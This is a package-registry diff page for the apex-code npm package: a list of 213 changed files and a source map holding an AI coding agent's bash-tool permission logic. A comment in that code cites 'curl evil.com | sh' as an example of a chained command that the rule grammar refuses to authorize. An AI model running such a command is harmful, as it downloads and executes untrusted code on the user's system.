apex-code 0.3.0 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (213) hide show
  1. package/CHANGELOG.md +46 -0
  2. package/dist/client/transcript.d.ts.map +1 -1
  3. package/dist/client/transcript.js +1 -1
  4. package/dist/client/transcript.js.map +1 -1
  5. package/dist/core/agent-session-services.d.ts.map +1 -1
  6. package/dist/core/agent-session-services.js +2 -1
  7. package/dist/core/agent-session-services.js.map +1 -1
  8. package/dist/core/delegation/runtime.d.ts.map +1 -1
  9. package/dist/core/delegation/runtime.js +2 -2
  10. package/dist/core/delegation/runtime.js.map +1 -1
  11. package/dist/core/durable-state/daemon.d.ts.map +1 -1
  12. package/dist/core/durable-state/daemon.js +1 -1
  13. package/dist/core/durable-state/daemon.js.map +1 -1
  14. package/dist/core/extensions/types.d.ts +1 -1
  15. package/dist/core/extensions/types.d.ts.map +1 -1
  16. package/dist/core/extensions/types.js.map +1 -1
  17. package/dist/core/keybindings.d.ts +1 -1
  18. package/dist/core/keybindings.d.ts.map +1 -1
  19. package/dist/core/keybindings.js.map +1 -1
  20. package/dist/core/mcp/mcp-tool.d.ts.map +1 -1
  21. package/dist/core/mcp/mcp-tool.js +2 -4
  22. package/dist/core/mcp/mcp-tool.js.map +1 -1
  23. package/dist/core/mcp/oauth/authorize.d.ts.map +1 -1
  24. package/dist/core/mcp/oauth/authorize.js +7 -2
  25. package/dist/core/mcp/oauth/authorize.js.map +1 -1
  26. package/dist/core/mcp/runtime.d.ts +2 -2
  27. package/dist/core/mcp/runtime.d.ts.map +1 -1
  28. package/dist/core/mcp/runtime.js +8 -3
  29. package/dist/core/mcp/runtime.js.map +1 -1
  30. package/dist/core/permissions/store.d.ts +7 -2
  31. package/dist/core/permissions/store.d.ts.map +1 -1
  32. package/dist/core/permissions/store.js +6 -1
  33. package/dist/core/permissions/store.js.map +1 -1
  34. package/dist/core/project-resources.d.ts +12 -0
  35. package/dist/core/project-resources.d.ts.map +1 -1
  36. package/dist/core/project-resources.js +19 -0
  37. package/dist/core/project-resources.js.map +1 -1
  38. package/dist/core/provider-composer.d.ts.map +1 -1
  39. package/dist/core/provider-composer.js +10 -1
  40. package/dist/core/provider-composer.js.map +1 -1
  41. package/dist/core/resource-loader.d.ts +6 -0
  42. package/dist/core/resource-loader.d.ts.map +1 -1
  43. package/dist/core/resource-loader.js +9 -3
  44. package/dist/core/resource-loader.js.map +1 -1
  45. package/dist/core/sdk.d.ts +1 -1
  46. package/dist/core/sdk.d.ts.map +1 -1
  47. package/dist/core/sdk.js +3 -3
  48. package/dist/core/sdk.js.map +1 -1
  49. package/dist/core/settings-manager.d.ts +16 -3
  50. package/dist/core/settings-manager.d.ts.map +1 -1
  51. package/dist/core/settings-manager.js +39 -16
  52. package/dist/core/settings-manager.js.map +1 -1
  53. package/dist/core/tools/bash.d.ts +11 -7
  54. package/dist/core/tools/bash.d.ts.map +1 -1
  55. package/dist/core/tools/bash.js +37 -46
  56. package/dist/core/tools/bash.js.map +1 -1
  57. package/dist/core/tools/delegate.d.ts.map +1 -1
  58. package/dist/core/tools/delegate.js +2 -2
  59. package/dist/core/tools/delegate.js.map +1 -1
  60. package/dist/core/tools/edit.d.ts.map +1 -1
  61. package/dist/core/tools/edit.js +3 -3
  62. package/dist/core/tools/edit.js.map +1 -1
  63. package/dist/core/tools/find.d.ts.map +1 -1
  64. package/dist/core/tools/find.js +4 -4
  65. package/dist/core/tools/find.js.map +1 -1
  66. package/dist/core/tools/grep.d.ts.map +1 -1
  67. package/dist/core/tools/grep.js +4 -4
  68. package/dist/core/tools/grep.js.map +1 -1
  69. package/dist/core/tools/ls.d.ts.map +1 -1
  70. package/dist/core/tools/ls.js +4 -4
  71. package/dist/core/tools/ls.js.map +1 -1
  72. package/dist/core/tools/path-utils.d.ts +9 -0
  73. package/dist/core/tools/path-utils.d.ts.map +1 -1
  74. package/dist/core/tools/path-utils.js +235 -10
  75. package/dist/core/tools/path-utils.js.map +1 -1
  76. package/dist/core/tools/read.d.ts.map +1 -1
  77. package/dist/core/tools/read.js +11 -8
  78. package/dist/core/tools/read.js.map +1 -1
  79. package/dist/core/tools/write.d.ts.map +1 -1
  80. package/dist/core/tools/write.js +7 -8
  81. package/dist/core/tools/write.js.map +1 -1
  82. package/dist/core/workspace/state.d.ts.map +1 -1
  83. package/dist/core/workspace/state.js +1 -1
  84. package/dist/core/workspace/state.js.map +1 -1
  85. package/dist/extensions/llama/ui.d.ts.map +1 -1
  86. package/dist/extensions/llama/ui.js +3 -2
  87. package/dist/extensions/llama/ui.js.map +1 -1
  88. package/dist/main.d.ts.map +1 -1
  89. package/dist/main.js +3 -1
  90. package/dist/main.js.map +1 -1
  91. package/dist/modes/interactive/components/assistant-message.d.ts.map +1 -1
  92. package/dist/modes/interactive/components/assistant-message.js +0 -10
  93. package/dist/modes/interactive/components/assistant-message.js.map +1 -1
  94. package/dist/modes/interactive/components/autocomplete-source.d.ts +8 -0
  95. package/dist/modes/interactive/components/autocomplete-source.d.ts.map +1 -0
  96. package/dist/modes/interactive/components/autocomplete-source.js +23 -0
  97. package/dist/modes/interactive/components/autocomplete-source.js.map +1 -0
  98. package/dist/modes/interactive/components/bash-execution.d.ts.map +1 -1
  99. package/dist/modes/interactive/components/bash-execution.js +6 -4
  100. package/dist/modes/interactive/components/bash-execution.js.map +1 -1
  101. package/dist/modes/interactive/components/bordered-loader.d.ts.map +1 -1
  102. package/dist/modes/interactive/components/bordered-loader.js +1 -1
  103. package/dist/modes/interactive/components/bordered-loader.js.map +1 -1
  104. package/dist/modes/interactive/components/composer-dock.d.ts +12 -0
  105. package/dist/modes/interactive/components/composer-dock.d.ts.map +1 -0
  106. package/dist/modes/interactive/components/composer-dock.js +24 -0
  107. package/dist/modes/interactive/components/composer-dock.js.map +1 -0
  108. package/dist/modes/interactive/components/config-selector.d.ts.map +1 -1
  109. package/dist/modes/interactive/components/config-selector.js +11 -9
  110. package/dist/modes/interactive/components/config-selector.js.map +1 -1
  111. package/dist/modes/interactive/components/diff.d.ts.map +1 -1
  112. package/dist/modes/interactive/components/diff.js +2 -2
  113. package/dist/modes/interactive/components/diff.js.map +1 -1
  114. package/dist/modes/interactive/components/extension-editor.d.ts.map +1 -1
  115. package/dist/modes/interactive/components/extension-editor.js +9 -9
  116. package/dist/modes/interactive/components/extension-editor.js.map +1 -1
  117. package/dist/modes/interactive/components/extension-input.d.ts.map +1 -1
  118. package/dist/modes/interactive/components/extension-input.js +9 -5
  119. package/dist/modes/interactive/components/extension-input.js.map +1 -1
  120. package/dist/modes/interactive/components/extension-selector.d.ts.map +1 -1
  121. package/dist/modes/interactive/components/extension-selector.js +11 -10
  122. package/dist/modes/interactive/components/extension-selector.js.map +1 -1
  123. package/dist/modes/interactive/components/first-time-setup.d.ts.map +1 -1
  124. package/dist/modes/interactive/components/first-time-setup.js +6 -6
  125. package/dist/modes/interactive/components/first-time-setup.js.map +1 -1
  126. package/dist/modes/interactive/components/footer.d.ts.map +1 -1
  127. package/dist/modes/interactive/components/footer.js +8 -3
  128. package/dist/modes/interactive/components/footer.js.map +1 -1
  129. package/dist/modes/interactive/components/keybinding-hints.d.ts +21 -0
  130. package/dist/modes/interactive/components/keybinding-hints.d.ts.map +1 -1
  131. package/dist/modes/interactive/components/keybinding-hints.js +34 -0
  132. package/dist/modes/interactive/components/keybinding-hints.js.map +1 -1
  133. package/dist/modes/interactive/components/login-dialog.d.ts.map +1 -1
  134. package/dist/modes/interactive/components/login-dialog.js +27 -23
  135. package/dist/modes/interactive/components/login-dialog.js.map +1 -1
  136. package/dist/modes/interactive/components/model-selector.d.ts +1 -1
  137. package/dist/modes/interactive/components/model-selector.d.ts.map +1 -1
  138. package/dist/modes/interactive/components/model-selector.js +14 -18
  139. package/dist/modes/interactive/components/model-selector.js.map +1 -1
  140. package/dist/modes/interactive/components/oauth-selector.d.ts.map +1 -1
  141. package/dist/modes/interactive/components/oauth-selector.js +7 -6
  142. package/dist/modes/interactive/components/oauth-selector.js.map +1 -1
  143. package/dist/modes/interactive/components/permission-preview.d.ts.map +1 -1
  144. package/dist/modes/interactive/components/permission-preview.js +3 -3
  145. package/dist/modes/interactive/components/permission-preview.js.map +1 -1
  146. package/dist/modes/interactive/components/prompt-input.d.ts +12 -0
  147. package/dist/modes/interactive/components/prompt-input.d.ts.map +1 -0
  148. package/dist/modes/interactive/components/prompt-input.js +18 -0
  149. package/dist/modes/interactive/components/prompt-input.js.map +1 -0
  150. package/dist/modes/interactive/components/scoped-models-selector.d.ts +1 -1
  151. package/dist/modes/interactive/components/scoped-models-selector.d.ts.map +1 -1
  152. package/dist/modes/interactive/components/scoped-models-selector.js +4 -3
  153. package/dist/modes/interactive/components/scoped-models-selector.js.map +1 -1
  154. package/dist/modes/interactive/components/session-selector.d.ts.map +1 -1
  155. package/dist/modes/interactive/components/session-selector.js +26 -19
  156. package/dist/modes/interactive/components/session-selector.js.map +1 -1
  157. package/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
  158. package/dist/modes/interactive/components/settings-selector.js +39 -6
  159. package/dist/modes/interactive/components/settings-selector.js.map +1 -1
  160. package/dist/modes/interactive/components/settings-submenu.d.ts.map +1 -1
  161. package/dist/modes/interactive/components/settings-submenu.js +8 -6
  162. package/dist/modes/interactive/components/settings-submenu.js.map +1 -1
  163. package/dist/modes/interactive/components/thinking-selector.d.ts.map +1 -1
  164. package/dist/modes/interactive/components/thinking-selector.js +10 -5
  165. package/dist/modes/interactive/components/thinking-selector.js.map +1 -1
  166. package/dist/modes/interactive/components/tool-execution.d.ts +1 -11
  167. package/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
  168. package/dist/modes/interactive/components/tool-execution.js +9 -38
  169. package/dist/modes/interactive/components/tool-execution.js.map +1 -1
  170. package/dist/modes/interactive/components/tool-panel.d.ts.map +1 -1
  171. package/dist/modes/interactive/components/tool-panel.js +7 -2
  172. package/dist/modes/interactive/components/tool-panel.js.map +1 -1
  173. package/dist/modes/interactive/components/tree-selector.d.ts.map +1 -1
  174. package/dist/modes/interactive/components/tree-selector.js +9 -5
  175. package/dist/modes/interactive/components/tree-selector.js.map +1 -1
  176. package/dist/modes/interactive/components/trust-selector.d.ts.map +1 -1
  177. package/dist/modes/interactive/components/trust-selector.js +11 -11
  178. package/dist/modes/interactive/components/trust-selector.js.map +1 -1
  179. package/dist/modes/interactive/components/user-message-selector.d.ts.map +1 -1
  180. package/dist/modes/interactive/components/user-message-selector.js +2 -2
  181. package/dist/modes/interactive/components/user-message-selector.js.map +1 -1
  182. package/dist/modes/interactive/components/user-message.d.ts.map +1 -1
  183. package/dist/modes/interactive/components/user-message.js +6 -3
  184. package/dist/modes/interactive/components/user-message.js.map +1 -1
  185. package/dist/modes/interactive/interactive-mode.d.ts +7 -2
  186. package/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
  187. package/dist/modes/interactive/interactive-mode.js +65 -65
  188. package/dist/modes/interactive/interactive-mode.js.map +1 -1
  189. package/dist/modes/print-mode.d.ts.map +1 -1
  190. package/dist/modes/print-mode.js +49 -23
  191. package/dist/modes/print-mode.js.map +1 -1
  192. package/dist/tsconfig.json +3 -0
  193. package/dist/utils/clipboard-image.d.ts.map +1 -1
  194. package/dist/utils/clipboard-image.js +1 -1
  195. package/dist/utils/clipboard-image.js.map +1 -1
  196. package/dist/utils/syntax-highlight.d.ts.map +1 -1
  197. package/dist/utils/syntax-highlight.js +22 -22
  198. package/dist/utils/syntax-highlight.js.map +1 -1
  199. package/docs/json.md +36 -0
  200. package/docs/models.md +1 -1
  201. package/docs/settings.md +1 -1
  202. package/examples/extensions/gondolin/package-lock.json +3 -3
  203. package/examples/extensions/minimal-mode.ts +6 -6
  204. package/examples/extensions/sandbox/package-lock.json +4 -4
  205. package/examples/extensions/sandbox/package.json +1 -1
  206. package/examples/sdk/10-settings.ts +2 -2
  207. package/examples/sdk/README.md +1 -1
  208. package/npm-shrinkwrap.json +19 -34
  209. package/package.json +6 -6
  210. package/dist/modes/interactive/components/message-spine.d.ts +0 -14
  211. package/dist/modes/interactive/components/message-spine.d.ts.map +0 -1
  212. package/dist/modes/interactive/components/message-spine.js +0 -19
  213. package/dist/modes/interactive/components/message-spine.js.map +0 -1
@@ -1 +1 @@
1
- {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { parseShellOperation } from \"./shell-operation.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return undefined;\n\t\t\treturn parsed.operation.kind === \"run\" ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t// An unparseable call is never authorized by an allow rule; `isUnknown`\n\t\t\t// keeps it out of them and pulls every deny rule onto it.\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return true;\n\t\t\treturn parsed.operation.kind === \"run\" && classifyBashCommand(parsed.operation.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return { kind: \"summary\", lines: [parsed.reason] };\n\t\t\tif (parsed.operation.kind === \"kill\") {\n\t\t\t\treturn { kind: \"summary\", lines: [`Kill background shell command ${parsed.operation.handle}`] };\n\t\t\t}\n\t\t\tif (parsed.operation.kind === \"retrieve\") {\n\t\t\t\treturn {\n\t\t\t\t\tkind: \"summary\",\n\t\t\t\t\tlines: [`Retrieve output from background shell command ${parsed.operation.handle}`],\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [parsed.operation.command] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return null;\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = 